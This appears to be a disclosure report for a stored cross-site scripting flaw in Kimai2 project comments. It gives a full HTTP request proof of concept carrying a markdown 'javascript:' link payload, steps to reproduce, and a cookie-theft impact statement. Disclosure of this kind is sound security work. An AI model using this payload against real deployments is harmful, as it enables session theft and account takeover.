Description

Stored XSS via Markdown at the comment in Project

Proof of Concept

// PoC.req
POST /kimai2/public/en/admin/project/3/comment_add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/kimai2/public/en/admin/project/3/details
Cookie: PHPSESSID=j5phlsvo13ou7dqv96ibtabq9o
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

project_comment_form%5Bmessage%5D=%5BXSS%5D%28javascript%3Aalert%28%60XSS%60%29%29&project_comment_form%5B_token%5D=KhTYRKRkQgHwLeOALSm80rEjhFQGbqb4bZ5Hpx0FmEU

Step to Reproduce

Create a new project at comment section input with payload: [XSS](javascript:alert(`XSS`))

The XSS will trigger when the user click on the content of comment

Impact

This vulnerability has the potential to steal a user’s cookie and gain unauthorized access to that user’s account through the stolen cookie.